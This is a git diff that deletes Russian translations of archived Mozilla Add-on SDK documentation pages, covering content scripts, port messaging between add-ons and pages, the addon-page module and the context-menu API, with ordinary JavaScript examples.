-<p>Есть веские причины для изоляции. Во-первых, из <code>content script</code> не утекают объекты в web-страницу, что потенциально является дырой в безопасности. Во-вторых, <code>content scripts</code> могут не беспокоиться о пересечении объектов с объектами, созданных скриптами web-страницы.</p>
-
-<p>Такая изоляция необходима, например, в случае, если web-страница загружает библиотеку jQuery, но <code>content script</code> не увидит объектов, созданных этой библиотекой. В этом случае content script может добавить свою собственный jQuery-объект, который не пересечётся со страничным объектом.</p>
-
-<h3 id="Взаимодействие_со_скриптами_web-страницы">Взаимодействие со скриптами web-страницы</h3>
-
-<p>Обычно изоляция content scripts и page scripts (скрипты web-страницы) необходима. Но иногда вы захотите наладить такое взаимодействие: вы можете захотеть иметь общие объекты между <code>content scripts</code> и <code>page scripts</code> или передевать между ними сообщения. Если появится такая необходимость, то прочтите о <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts/Interacting_with_page_scripts">взаимодействии со скриптами web-страницы</a> (<a href="/en-US/Add-ons/SDK/Guides/Content_Scripts/Interacting_with_page_scripts">interacting with page scripts</a>).</p>
-
-<h3 id="Прослушивание_событий">Прослушивание событий</h3>
-
-<p>Вы можете прослушивать события DOM в скриптах <code>content scripts</code> также, как в обычных скриптах web-страницы. Но есть два важных отличия:</p>
-
-<p>Первое. Если вы определите слушатель через передачу строки в функцию<a href="https://developer.mozilla.org/en/DOM/element.setAttribute"><code> setAttribute()</code></a>, то слушатель будет вызываться в контексте web-страницы, поэтому он не будет иметь доступа ни к каким переменным, определённым в <code>content script</code>.</p>
-
-<p>Например, при выполнении в данном <code>content script</code> появится ошибка "theMessage is not defined":</p>
-
-<pre class="brush: js">var theMessage = "Hello from content script!";
-anElement.setAttribute("onclick", "alert(theMessage);");</pre>
-
-<p>Второе. Если вы определите слушатель напрямую через <a href="/en-US/docs/Web/API/GlobalEventHandlers">GlobalEventHandlers</a>, например на <code>onclick</code>, то такое определение может быть переопределено на web-странице. Например, здесь представлен add-on, который пытается добавить обработчик click-события при помощи присвоения <code>window.onclick</code>:</p>
-
-<pre class="brush: js">var myScript = "window.onclick = function() {" +
- " console.log('unsafewindow.onclick: ' + window.document.title);" +
- "}";
-
-require("sdk/page-mod").PageMod({
- include: "*",
- contentScript: myScript,
- contentScriptWhen: "start"
-});</pre>
-
-<p>Это всё будет прекрасно работать на многих страницах, но не сработает там, где также присваивается <code>onclick</code>:</p>
-
-<pre class="brush: html">&lt;html&gt;
- &lt;head&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;script&gt;
- window.onclick = function() {
- window.alert("it's my click now!");
- }
- &lt;/script&gt;
- &lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p>По этим причинам, лучший вариант для добавления слушалелей это использование <a href="https://developer.mozilla.org/en/DOM/element.addEventListener"><code>addEventListener()</code></a>, определяющем функцию:</p>
-
-<pre class="brush: js">var theMessage = "Hello from content script!";
-
-anElement.onclick = function() {
- alert(theMessage);
-};
-
-anotherElement.addEventListener("click", function() {
- alert(theMessage);
-});</pre>
-
-<h2 id="Взаимодействие_с_скриптом_дополнения_(add-on)">Взаимодействие с скриптом дополнения (add-on)</h2>
-
-<p>Для организации взаимодействия друг с другом скрипта дополнения (<code>add-on script</code>) и скрипта <code>content script</code> нужно обоим дать доступ к объекту <code>port</code>.</p>
-
-<ul>
- <li>для отправки сообщений используется <code>port.emit()</code></li>
- <li>для получения сообщений - <code>port.on()</code></li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7873/content-scripting-overview.png" style="display: block; margin-left: auto; margin-right: auto;">Сообщения асинхронны: то есть, отправитель не ждёт ответа от получателя, а только отправляет сообщение и продолжает работать дальше.</p>
-
-<p>Вот пример простого дополнения, которое отправляет сообщение скрипту <code>content script, используя port</code>:</p>
-
-<pre class="brush: js">// main.js
-
-var tabs = require("sdk/tabs");
-var self = require("sdk/self");
-
-tabs.on("ready", function(tab) {
- var worker = tab.attach({
- contentScriptFile: self.data.url("content-script.js")
- });
- worker.port.emit("alert", "Message from the add-on");
-});
-
-tabs.open("http://www.mozilla.org");</pre>
-
-<pre class="brush: js">// content-script.js
-
-self.port.on("alert", function(message) {
- window.alert(message);
-});</pre>
-
-<div class="note">
-<p>Модуль <code>context-menu</code> не использует данную модель коммуникации. Для изучения варианта взаимодействия скриптов <code>content scripts</code>, загруженных с использованием <code>context-menu</code>, смотрите <a href="/en-US/Add-ons/SDK/High-Level_APIs/context-menu">context-menu documentation</a>. </p>
-</div>
-
-<h3 id="Доступ_к_порту_в_content_script">Доступ к порту в content script</h3>
-
-<p>В скрипте <code>content script</code> объект <code>port </code>доступен через свойство глобального объекта <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts/self"><code>self</code></a>.  Чтобы послать сообщение из <code>content script</code>:</p>
-
-<pre class="brush: js">self.port.emit("myContentScriptMessage", myContentScriptMessagePayload);</pre>
-
-<p>Чтобы получить сообщение из кода дополнения:</p>
-
-<pre class="brush: js">self.port.on("myAddonMessage", function(myAddonMessagePayload) {
- // Handle the message
-});</pre>
-
-<div class="note">
-<p><span>Учтите, что глобальный объект <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts/self"><code>self</code></a> совершенно отличается от модуля <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs/self"><code>self</code> module</a>, предоставляющим API дополнению для доступа к его файлам и ID.</span></p>
-</div>
-
-<h3 id="Доступ_к_порту_в_скрипте_дополнения_(add-on_script)">Доступ к порту в скрипте дополнения (add-on script)</h3>
-
-<p>В коде дополнения канал взаимодействия между дополнением и конкретным <code>content script</code> инкапсулируется посредством объекта <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/content_worker"><code>worker</code></a>. Поэтому объект <code>port </code>для для связи со скриптом content script это свойство связанного worker.</p>
-
-<p>Тем не менее, объект worker не расширен на код дополнения так же, как в других модулях.</p>
-
-<h4 id="Сообщения_из_page-worker">Сообщения из<code> page-worker</code></h4>
-
-<p>Объект <code>page-worker</code> интегрирует в себе <code>worker API</code>. Поэтому для получения сообщений от скрипта content script, ассоциированного с <code>page-worker нужно использовать </code><code>pageWorker.port.on()</code>:</p>
-
-<pre class="brush: js">// main.js
-
-var self = require("sdk/self");
-
-var pageWorker = require("sdk/page-worker").Page({
-  contentScriptFile: self.data.url("content-script.js"),
-  contentURL: "http://en.wikipedia.org/wiki/Internet"
-});
-
-pageWorker.port.on("first-para", function(firstPara) {
-  console.log(firstPara);
-});</pre>
-
-<p>Для отправки пользовательских сообщений их дополнения нужно вызвать <code>pageWorker.port.emit()</code>:</p>
-
-<pre class="brush: js">// main.js
-
-var self = require("sdk/self");
-
-var pageWorker = require("sdk/page-worker").Page({
-  contentScriptFile: self.data.url("content-script.js"),
-  contentURL: "http://en.wikipedia.org/wiki/Internet"
-});
-
-pageWorker.port.on("first-para", function(firstPara) {
-  console.log(firstPara);
-});
-
-pageWorker.port.emit("get-first-para");</pre>
-
-<pre class="brush: js">// content-script.js
-
-self.port.on("get-first-para", getFirstPara);
-
-function getFirstPara() {
- var paras = document.getElementsByTagName("p");
- if (paras.length &gt; 0) {
- var firstPara = paras[0].textContent;
- self.port.emit("first-para", firstPara);
- }
-}</pre>
-
-<h4 id="Сообщения_из_page-mod">Сообщения из <code>page-mod</code></h4>
-
-<p>Один объект <code>page-mod</code> может привязать свои скрипты к нескольким страницам, каждая из них со своим контекстом, в котором запускаются <code>content scripts</code>. Поэтому для каждой страницы необходим отдельный канал (<code>worker</code>) связи.</p>
-
-<p><code>page-mod</code> не интегрирует в себе <code>worker API напрямую</code>. Вместо этого, когда скрипт <code>content script</code> привязывается к странице, <code>page-mod</code> бросает событие <code>attach</code> тому слушателю, который связан с worker. Создавая слушатель для события <code>attach</code>, вы можете получить доступ через объект <code>port </code>к тому скрипту <code>content scripts</code>, который связан с нужной страницей (через <code>page-mod)</code>:</p>
-
-<pre class="brush: js">// main.js
-
-var pageMods = require("sdk/page-mod");
-var self = require("sdk/self");
-
-var pageMod = pageMods.PageMod({
-  include: ['*'],
-  contentScriptFile: self.data.url("content-script.js"),
-  onAttach: startListening
-});
-
-function startListening(worker) {
-  worker.port.on('click', function(html) {
-    worker.port.emit('warning', 'Do not click this again');
-  });
-}</pre>
-
-<pre class="brush: js">// content-script.js
-
-window.addEventListener('click', function(event) {
- self.port.emit('click', event.target.toString());
- event.stopPropagation();
- event.preventDefault();
-}, false);
-
-self.port.on('warning', function(message) {
- window.alert(message);
-});
-</pre>
-
-<p>В дополнении, описанном выше, есть два сообщения:</p>
-
-<ul>
- <li><code>click</code> отправляется из <code>page-mod</code> в дополнение, когда пользователь кликает на элемент на web-странице</li>
- <li><code>warning</code> отправляет прикольную строчку обратно в объект <code>page-mod</code></li>
-</ul>
-
-<h4 id="Сообщения_из_Tab.attach()">Сообщения из <code>Tab.attach()</code></h4>
-
-<p>Функция <code>Tab.attach()</code> возвращает <code>worker</code>, который можно использовать для связи со скриптом content script(s).</p>
-
-<p>Следующее дополнение добавляет кнопку в Firefox: когда пользователь надимает её, то дополнение привязывает скрипт <code>content script</code> к активной вкладке, отправляет этому скрипту сообщение "my-addon-message" и ждёт ответ "my-script-response":</p>
-
-<pre class="brush: js">//main.js
-
-var tabs = require("sdk/tabs");
-var buttons = require("sdk/ui/button/action");
-var self = require("sdk/self");
-
-buttons.ActionButton({
- id: "attach-script",
- label: "Attach the script",
- icon: "./icon-16.png",
- onClick: attachScript
-});
-
-function attachScript() {
- var worker = tabs.activeTab.attach({
- contentScriptFile: self.data.url("content-script.js")
- });
- worker.port.on("my-script-response", function(response) {
- console.log(response);
- });
- worker.port.emit("my-addon-message", "Message from the add-on");
-}
-</pre>
-
-<pre class="brush: js">// content-script.js
-
-self.port.on("my-addon-message", handleMessage);
-
-function handleMessage(message) {
- alert(message);
- self.port.emit("my-script-response", "Response from content script");
-}</pre>
-
-<h3 id="Описание_port_API">Описание port API</h3>
-
-<p>Смотрите <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts/port">reference page for the <code>port</code> object</a>.</p>
-</article>
-
-<h3 id="Описание_postMessage_API">Описание postMessage API</h3>
-
-<p>До того, как был введён объект port, дополнения и <code>content scripts </code>общались следующим образом, используя различные API:</p>
-
-<ul>
- <li>скрипт content script <code>вызывал self.postMessage()</code> для отправки и <code>self.on()</code> для получения</li>
- <li>дополнение (add-on) вызывал <code>worker.postMessage()</code> для отправки и <code>worker.on()</code> для получения</li>
-</ul>
-
-<p>Данный API до сих пор доступно и <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts/using_postMessage">документировано</a>, но желательно использовать <code>port API</code>, описанный здесь выше. Исключением является модуль <a href="/en-US/Add-ons/SDK/High-Level_APIs/context-menu">context-menu</a>, который ещё использует <code>postMessage</code>.</p>
-
-<h3 id="Взаимодействие_скриптов_content_script_со_скриптами_content_script">Взаимодействие скриптов content script со скриптами content script</h3>
-
-<p>Скрипты <code>content scripts</code> могут взаимодействовать друг с другом напрямую если они загружены в одном контексте. Например, если один вызов <code>Tab.attach()</code> привязывает два скрипта <code>content scripts</code>, то они видят друг друга напрямую, как если два скрипта загружены на одну страницу. Но если вызвать <code>Tab.attach()</code> дважды, привязывая <code>content scripts</code> каждый раз, то они уже не будут загружены в одном контексте, и дожны взаимодействовать способами как скрипты из разных контекстов. Один из вариантом это пересылать сообщения через основной код дополнения, используя port API с передачей сообщения другим скриптам <code>context script</code>. Этои вариант будет работать независимо от контекста, в котором загружен скрипт <code>content script</code>.</p>
-
-<p>В отдельном случае, когда два скрипта загружены на одной странице, существует возможность для обоих скриптов <code>content scripts</code> взаимодействовать друг с другом, используя<a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Guides/Content_Scripts/Communicating_With_Other_Scripts#Using_the_DOM_postMessage_API"> DOM postMessage() API</a> или <a href="https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent">CustomEvent</a>. Следующее дополнение показывает как скрипт <code>content script</code>, добавленный через <code>page-mod</code>, получает событие CustomEvent, отправленное из <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/SDK/High-Level_APIs/context-menu">context-menu</a>, когда элемент меню был кликнут. Скрипт <code>page-mod</code> будет отображать алерт с URL той ссылки, по которой было отображено контекстное меню. URL передан в скрипт <code>page-mod</code> с использованием CustomEvent.</p>
-
-<pre><code>var pageMod = require("sdk/page-mod");
-pageMod.PageMod({
- include: "*.mozilla.org",
- contentScript: 'function contextMenuAlert(href) {'
- + ' window.alert("The context menu was clicked on URL:\\n" + href);'
- + '};'
- + 'window.addEventListener("myAddonId-contextMenu-clicked",'
- + ' function(event){contextMenuAlert(event.detail);});'
-});
-
-let cm = require("sdk/context-menu");
-cm.Item({
- label: "Alert URL",
- context: [
- cm.URLContext(["*.mozilla.org"]),
- cm.SelectorContext("a[href]")
- ],
- contentScript: 'self.on("click", function (node, data) {'
- + ' var event = new CustomEvent("myAddonId-contextMenu-clicked",'
- + ' {detail:node.href});'
- + ' window.dispatchEvent(event);'
- + '});'
-});</code></pre>
-
-<h2 id="Междоменные_скрипты_content_script">Междоменные скрипты <code>content script</code></h2>
-
-<p>По умолчанию скрипты <code>content script </code>не имеют никаких междоменных привилегий. В частности, они не имеют доступа к содержимому в <code>iframe</code>, если содержимое получено из другого домена, или выполняются междоменные XMLHttpRequests.</p>
-
-<p>Однако, вы можете разрешить эти функции для заданных доменов, путём добавления их в <a href="/en-US/Add-ons/SDK/Tools/package_json">package.json</a> дополнения в ключе <code>"cross-domain-content"</code>, который расположен в ключе <code>"permissions"</code>. Смотрите статью <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts/Cross_Domain_Content_Scripts">междоменные скрипты содержимого</a>.</p>
-</article>
diff --git a/files/ru/mozilla/add-ons/sdk/high-level_apis/addon-page/index.html b/files/ru/mozilla/add-ons/sdk/high-level_apis/addon-page/index.html
deleted file mode 100644
index 069cb199b2..0000000000
--- a/files/ru/mozilla/add-ons/sdk/high-level_apis/addon-page/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: Страницы дополнения
-slug: Mozilla/Add-ons/SDK/High-Level_APIs/addon-page
-translation_of: Archive/Add-ons/Add-on_SDK/High-Level_APIs/addon-page
----
-<p>{{AddonSidebar}}</p>
-
-<p>{{obsolete_header(35)}}</p>
-
-<p>Создание простых страниц</p>
-
-<h2 id="Применеие">Применеие</h2>
-
-<p>С помошью Add-on SDK Вы можете представлять данные пользователю, такие как руководство по использованию вашего дополнения во вкладке браузера. Вы можете подгружать содержимое из HTML файла в "data" директории дополнения.</p>
-
-<div class="note">
-<p><strong>Заметка:</strong> Данный модульне влияет на браузер.</p>
-</div>
-
-<p>Для подобных страниц, navigational elements such as the <a href="http://support.mozilla.org/en-US/kb/Location%20bar%20autocomplete">Awesome Bar</a>, <a href="http://support.mozilla.org/en-US/kb/Search%20bar">Search Bar</a>, or <a href="http://support.mozilla.org/en-US/kb/Bookmarks%20Toolbar">Bookmarks Toolbar</a> are not usually relevant and distract from the content you are presenting. The <code>addon-page</code> module provides a simple way to have a page which excludes these elements.</p>
-
-<p>Чтобы импортировать содержимое, используйте <code>require()</code>. После чего, данные загрузятся из "data/index.html" без элементов навигации:</p>
-
-<pre class="brush: js">var addontab = require("sdk/addon-page");
-var data = require("sdk/self").data;
-
-require("sdk/tabs").open(data.url("index.html"));
-</pre>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6503/addon-page.png" style="display: block; height: 722px; margin-left: auto; margin-right: auto; width: 666px;"></p>
-
-<p>Это влияет только на "data/index.html": остальные страницы отображаются нормально.</p>
diff --git a/files/ru/mozilla/add-ons/sdk/high-level_apis/context-menu/index.html b/files/ru/mozilla/add-ons/sdk/high-level_apis/context-menu/index.html
deleted file mode 100644
index 2d88abc734..0000000000
--- a/files/ru/mozilla/add-ons/sdk/high-level_apis/context-menu/index.html
+++ /dev/null
@@ -1,578 +0,0 @@
----
-title: context-menu
-slug: Mozilla/Add-ons/SDK/High-Level_APIs/context-menu
-translation_of: Archive/Add-ons/Add-on_SDK/High-Level_APIs/context-menu
----
-<div class="note">
- <p>Stable</p>
-</div>
-<p><span class="seoSummary">Как добавить элемент меню, подменю и разделитель в контекстное меню страницы.</span></p>
-<h2 id="Использование">Использование</h2>
-<p>Instead of manually adding items when particular contexts occur and then removing them when those contexts go away, you <em>bind</em> items to contexts, and the adding and removing is automatically handled for you. Items are bound to contexts in much the same way that event listeners are bound to events. When the user invokes the context menu, all of the items bound to the current context are automatically added to the menu. If no items are bound, none are added. Likewise, any items that were previously in the menu but are not bound to the current context are automatically removed from the menu. You never need to manually remove your items from the menu unless you want them to never appear again.</p>
-<p>For example, if your add-on needs to add a context menu item whenever the user visits a certain page, don't create the item when that page loads, and don't remove it when the page unloads. Rather, create your item only once and supply a context that matches the target URL.</p>
-<p>Context menu items are displayed in the order created or in the case of sub menus the order added to the sub menu. Menu items for each add-on will be grouped together automatically. If the total number of menu items in the main context menu from all add-ons exceeds a certain number (normally 10 but configurable with the <code>extensions.addon-sdk.context-menu.overflowThreshold</code> preference) all of the menu items will instead appear in an overflow menu to avoid making the context menu too large.</p>
-<h3 id="Specifying_Contexts">Specifying Contexts</h3>
-<p>As its name implies, the context menu should be reserved for the occurrence of specific contexts. Contexts can be related to page content or the page itself, but they should never be external to the page.</p>
-<p>For example, a good use of the menu would be to show an "Edit Image" item when the user right-clicks an image in the page. A bad use would be to show a submenu that listed all the user's tabs, since tabs aren't related to the page or the node the user clicked to open the menu.</p>
-<h4 id="The_Page_Context">The Page Context</h4>
-<p>First of all, you may not need to specify a context at all. When a top-level item does not specify a context, the page context applies. An item that is in a submenu is visible unless you specify a context.</p>
-<p>The <em>page context</em> occurs when the user invokes the context menu on a non-interactive portion of the page. Try right-clicking a blank spot in this page, or on text. Make sure that no text is selected. The menu that appears should contain the items "Back", "Forward", "Reload", "Stop", and so on. This is the page context.</p>
-<p>The page context is appropriate when your item acts on the page as a whole. It does not occur when the user invokes the context menu on a link, image, or other non-text node, or while a selection exists.</p>
-<h4 id="Declarative_Contexts">Declarative Contexts</h4>
-<p>You can specify some simple, declarative contexts when you create a menu item by setting the <code>context</code> property of the options object passed to its constructor, like this:</p>
-<pre class="brush: js">var cm = require("sdk/context-menu");
-cm.Item({
- label: "My Menu Item",
- context: cm.URLContext("*.mozilla.org")
-});</pre>
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Constructor</th>
- <th>Description</th>
- </tr>
- <tr>
- <td><code>PageContext() </code></td>
- <td>The page context.</td>
- </tr>
- <tr>
- <td><code>SelectionContext() </code></td>
- <td>This context occurs when the menu is invoked on a page in which the user has made a selection.</td>
- </tr>
- <tr>
- <td><code>SelectorContext(selector) </code></td>
- <td>This context occurs when the menu is invoked on a node that either matches <code>selector</code>, a CSS selector, or has an ancestor that matches. <code>selector</code> may include multiple selectors separated by commas, e.g., <code>"a[href], img"</code>.</td>
- </tr>
- <tr>
- <td><code>URLContext(matchPattern) </code></td>
- <td>This context occurs when the menu is invoked on pages with particular URLs. <code>matchPattern</code> is a match pattern string or an array of match pattern strings. When <code>matchPattern</code> is an array, the context occurs when the menu is invoked on a page whose URL matches any of the patterns. These are the same match pattern strings that you use with the <a href="/en-US/Add-ons/SDK/High-Level_APIs/page-mod"><code>page-mod</code></a> <code>include</code> property. <a href="/en-US/Add-ons/SDK/Low-Level_APIs/util_match-pattern">Read more about patterns</a>.</td>
- </tr>
- <tr>
- <td><code>PredicateContext(predicateFunction)</code></td>
- <td><code>predicateFunction</code> is called when the menu is invoked, and the context occurs when the function returns a true value. The function is passed an object with properties describing the menu invocaton context.</td>
- </tr>
- <tr>
- <td>array</td>
- <td>An array of any of the other types. This context occurs when all contexts in the array occur.</td>
- </tr>
- </tbody>
-</table>
-<p>Menu items also have a <code>context</code> property that can be used to add and remove declarative contexts after construction. For example:</p>
-<pre class="brush: js">var context = require("sdk/context-menu").SelectorContext("img");
-myMenuItem.context.add(context);
-myMenuItem.context.remove(context);</pre>
-<p>When a menu item is bound to more than one context, it appears in the menu when all of those contexts occur.</p>
-<h3 id="In_Content_Scripts">In Content Scripts</h3>
-<p>The declarative contexts are handy but not very powerful. For instance, you might want your menu item to appear for any page that has at least one image, but declarative contexts won't help you there.</p>
-<p>When you need more control over the context in which your menu items are shown, you can use content scripts. Like other APIs in the SDK, the <code>context-menu</code> API uses <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts">content scripts</a> to let your add-on interact with pages in the browser. Each menu item you create in the top-level context menu can have a content script.</p>
-<p>A special event named <code>"context"</code> is emitted in your content scripts whenever the context menu is about to be shown. If you register a listener function for this event and it returns true, the menu item associated with the listener's content script is shown in the menu.</p>
-<p>For example, this item appears whenever the context menu is invoked on a page that contains at least one image:</p>
-<pre class="brush: js">require("sdk/context-menu").Item({
- label: "This Page Has Images",
- contentScript: 'self.on("context", function (node) {' +
- ' return !!document.querySelector("img");' +
- '});'
-});</pre>
-<p>Note that the listener function has a parameter called <code>node</code>. This is the node in the page that the user context-clicked to invoke the menu. You can use it to determine whether your item should be shown.</p>
-<p>You can both specify declarative contexts and listen for contexts in a content script. In that case, the declarative contexts are evaluated first, and your item is shown only when all declarative contexts are current and your context listener returns true.</p>
-<p>If any declarative contexts are not current, then your context listener is never called. This example takes advantage of that fact. The listener can be assured that <code>node</code> will always be an image:</p>
-<pre class="brush: js">var cm = require("sdk/context-menu");
-cm.Item({
- label: "A Mozilla Image",
- context: cm.SelectorContext("img"),
- contentScript: 'self.on("context", function (node) {' +
- ' return /mozilla/.test(node.src);' +
- '});'
-});</pre>
-<p>However, if you do combine <code>SelectorContext</code> and the <code>"context"</code> event, be aware that the <code>node</code> argument passed to the <code>"context"</code> event will not always match the type specified in <code>SelectorContext</code>.</p>
-<p><code>SelectorContext</code> will match if the menu is invoked on the node specified <em>or any descendant of that node</em>, but the <code>"context"</code> event handler is passed <em>the actual node</em> on which the menu was invoked. The example above works because <code>&lt;IMG&gt;</code> elements can't contain other elements, but in the example below, <code>node.nodeName</code> is not guaranteed to be "P" - for example, it won't be "P" if the user context-clicked a link inside a paragraph:</p>
-<pre class="brush: js">var cm = require("sdk/context-menu");
-cm.Item({
- label: "A Paragraph",
- context: cm.SelectorContext("p"),
- contentScript: 'self.on("context", function (node) {' +
- ' console.log(node.nodeName);' +
- ' return true;' +
- '});'
-});</pre>
-<p>The content script is executed for every page that a context menu is shown for. It will be executed the first time it is needed (i.e. when the context menu is first shown and all of the declarative contexts for your item are current) and then remains active until you destroy your context menu item or the page is unloaded.</p>
-<h3 id="Handling_Menu_Item_Clicks">Handling Menu Item Clicks</h3>
-<p>In addition to using content scripts to listen for the <code>"context"</code> event as described above, you can use content scripts to handle item clicks. When the user clicks your menu item, an event named <code>"click"</code> is emitted in the item's content script.</p>
-<p>Therefore, to handle an item click, listen for the <code>"click"</code> event in that item's content script like so:</p>
-<pre class="brush: js">require("sdk/context-menu").Item({
- label: "My Item",
- contentScript: 'self.on("click", function (node, data) {' +
- ' console.log("Item clicked!");' +
- '});'
-});</pre>
-<p>Note that the listener function has parameters called <code>node</code> and <code>data</code>.</p>
-<h4 id="The_node_Argument">The "node" Argument</h4>
-<p><code>node</code> is the node that the user context-clicked to invoke the menu.</p>
-<ul>
- <li>If you did not use <code>SelectorContext</code> to decide whether to show the menu item, then this is the actual node clicked.</li>
- <li>If you did use <code>SelectorContext</code>, then this is the node that matched your selector.</li>
-</ul>
-<p>For example, suppose your add-on looks like this:</p>
-<pre class="brush: js">var script = "self.on('click', function (node, data) {" +
- " console.log('clicked: ' + node.nodeName);" +
- "});";
-
-var cm = require("sdk/context-menu");
-
-cm.Item({
- label: "body context",
- context: cm.SelectorContext("body"),
- contentScript: script
-});</pre>
-<p>This add-on creates a context-menu item that uses <code>SelectorContext</code> to display the item whenever the context menu is activated on any descendant of the <code>&lt;BODY&gt;</code> element. When clicked, the item just logs the <a href="https://developer.mozilla.org/en-US/docs/DOM/Node.nodeName"><code>nodeName</code></a> property for the node passed to the click handler.</p>
-<p>If you run this add-on you'll see that it always logs "BODY", even if you click on a paragraph element inside the page:</p>
-<pre>info: contextmenu-example: clicked: BODY</pre>
-<p>By contrast, this add-on uses the <code>PageContext</code>:</p>
-<pre class="brush: js">var script = "self.on('click', function (node, data) {" +
- " console.log('clicked: ' + node.nodeName);" +
- "});";
-
-var cm = require("sdk/context-menu");
-
-cm.Item({
- label: "body context",
- context: cm.PageContext(),
- contentScript: script
-});</pre>
-<p>It will log the name of the actual node clicked:</p>
-<pre>info: contextmenu-example: clicked: P</pre>
-<h4 id="The_data_Argument">The "data" Argument</h4>
-<p><code>data</code> is the <code>data</code> property of the menu item that was clicked. Note that when you have a hierarchy of menu items the click event will be sent to the content script of the item clicked and all ancestors so be sure to verify that the <code>data</code> value passed matches the item you expect. You can use this to simplify click handling by providing just a single click listener on a <code>Menu</code> that reacts to clicks for any child items.:</p>
-<pre class="brush: js">var cm = require("sdk/context-menu");
-cm.Menu({
- label: "My Menu",
- contentScript: 'self.on("click", function (node, data) {' +
- ' console.log("You clicked " + data);' +
- '});',
- items: [
- cm.Item({ label: "Item 1", data: "item1" }),
- cm.Item({ label: "Item 2", data: "item2" }),
- cm.Item({ label: "Item 3", data: "item3" })
- ]
-});
-</pre>
-<h4 id="Communicating_With_the_Add-on">Communicating With the Add-on</h4>
-<p>Often you will need to collect some kind of information in the click listener and perform an action unrelated to content. To communicate to the menu item associated with the content script, the content script can call the <code>postMessage</code> function attached to the global <code>self</code> object, passing it some JSON-able data. The menu item's <code>"message"</code> event listener will be called with that data.</p>
-<pre class="brush: js">var cm = require("sdk/context-menu");
-cm.Item({
- label: "Edit Image",
- context: cm.SelectorContext("img"),
- contentScript: 'self.on("click", function (node, data) {' +
- ' self.postMessage(node.src);' +
- '});',
- onMessage: function (imgSrc) {
- openImageEditor(imgSrc);
- }
-});</pre>
-<h3 id="Updating_a_Menu_Item's_Label">Updating a Menu Item's Label</h3>
-<p>Each menu item must be created with a label, but you can change its label later using a couple of methods.</p>
-<p>The simplest method is to set the menu item's <code>label</code> property. This example updates the item's label based on the number of times it's been clicked:</p>
-<pre class="brush: js">var numClicks = 0;
-var myItem = require("sdk/context-menu").Item({
- label: "Click Me: " + numClicks,
- contentScript: 'self.on("click", self.postMessage);',
- onMessage: function () {
- numClicks++;
- this.label = "Click Me: " + numClicks;
- // Setting myItem.label is equivalent.
- }
-});</pre>
-<p>Sometimes you might want to update the label based on the context. For instance, if your item performs a search with the user's selected text, it would be nice to display the text in the item to provide feedback to the user. In these cases you can use the second method. Recall that your content scripts can listen for the <code>"context"</code> event and if your listeners return true, the items associated with the content scripts are shown in the menu. In addition to returning true, your <code>"context"</code> listeners can also return strings. When a <code>"context"</code> listener returns a string, it becomes the item's new label.</p>
-<p>This item implements the aforementioned search example:</p>
-<pre class="brush: js">var cm = require("sdk/context-menu");
-cm.Item({
- label: "Search Google",
- context: cm.SelectionContext(),
- contentScript: 'self.on("context", function () {' +
- ' var text = window.getSelection().toString();' +
- ' if (text.length &gt; 20)' +
- ' text = text.substr(0, 20) + "...";' +
- ' return "Search Google for " + text;' +
- '});'
-});</pre>
-<p>The <code>"context"</code> listener gets the window's current selection, truncating it if it's too long, and includes it in the returned string. When the item is shown, its label will be "Search Google for <code>text</code>", where <code>text</code> is the truncated selection.</p>
-<h3 id="Private_Windows">Private Windows</h3>
-<p>If your add-on has not opted into private browsing, then any menus or menu items that you add will not appear in context menus belonging to private browser windows.</p>
-<p>To learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the <a href="/en-US/Add-ons/SDK/High-Level_APIs/private-browsing">documentation for the <code>private-browsing</code> module</a>.</p>
-<h3 id="More_Examples">More Examples</h3>
-<p>For conciseness, these examples create their content scripts as strings and use the <code>contentScript</code> property. In your own add-on, you will probably want to create your content scripts in separate files and pass their URLs using the <code>contentScriptFile</code> property. See <a href="/en-US/Add-ons/SDK/Guides/Content_Scripts">Working with Content Scripts</a> for more information.</p>
-<div class="warning">
- <p>Unless your content script is extremely simple and consists only of a static string, don't use <code>contentScript</code>: if you do, you may have problems getting your add-on approved on AMO.</p>
- <p>Instead, keep the script in a separate file and load it using <code>contentScriptFile</code>. This makes your code easier to maintain, secure, debug and review.</p>
-</div>
-<p>Show an "Edit Page Source" item when the user right-clicks a non-interactive part of the page:</p>
-<pre class="brush: js">require("sdk/context-menu").Item({
- label: "Edit Page Source",
- contentScript: 'self.on("click", function (node, data) {' +
- ' self.postMessage(document.URL);' +
- '});',
- onMessage: function (pageURL) {
- editSource(pageURL);
- }
-});</pre>
-<p>Show an "Edit Image" item when the menu is invoked on an image:</p>
-<pre class="brush: js">var cm = require("sdk/context-menu");
-cm.Item({
- label: "Edit Image",
- context: cm.SelectorContext("img"),
- contentScript: 'self.on("click", function (node, data) {' +
- ' self.postMessage(node.src);' +
- '});',
- onMessage: function (imgSrc) {
- openImageEditor(imgSrc);
- }
-});</pre>
-<p>Show an "Edit Mozilla Image" item when the menu is invoked on an image in a mozilla.org or mozilla.com page:</p>
-<pre class="brush: js">var cm = require("sdk/context-menu");
-cm.Item({
- label: "Edit Mozilla Image",
- context: [
- cm.URLContext(["*.mozilla.org", "*.mozilla.com"]),
- cm.SelectorContext("img")
- ],
- contentScript: 'self.on("click", function (node, data) {' +
- ' self.postMessage(node.src);' +
- '});',
- onMessage: function (imgSrc) {
- openImageEditor(imgSrc);
- }
-});</pre>
-<p>Show an "Edit Page Images" item when the page contains at least one image:</p>
-<pre class="brush: js">var cm = require("sdk/context-menu");
-cm.Item({
- label: "Edit Page Images",
- // This ensures the item only appears during the page context.
- context: cm.PageContext(),
- contentScript: 'self.on("context", function (node) {' +
- ' var pageHasImgs = !!document.querySelector("img");' +
- ' return pageHasImgs;' +
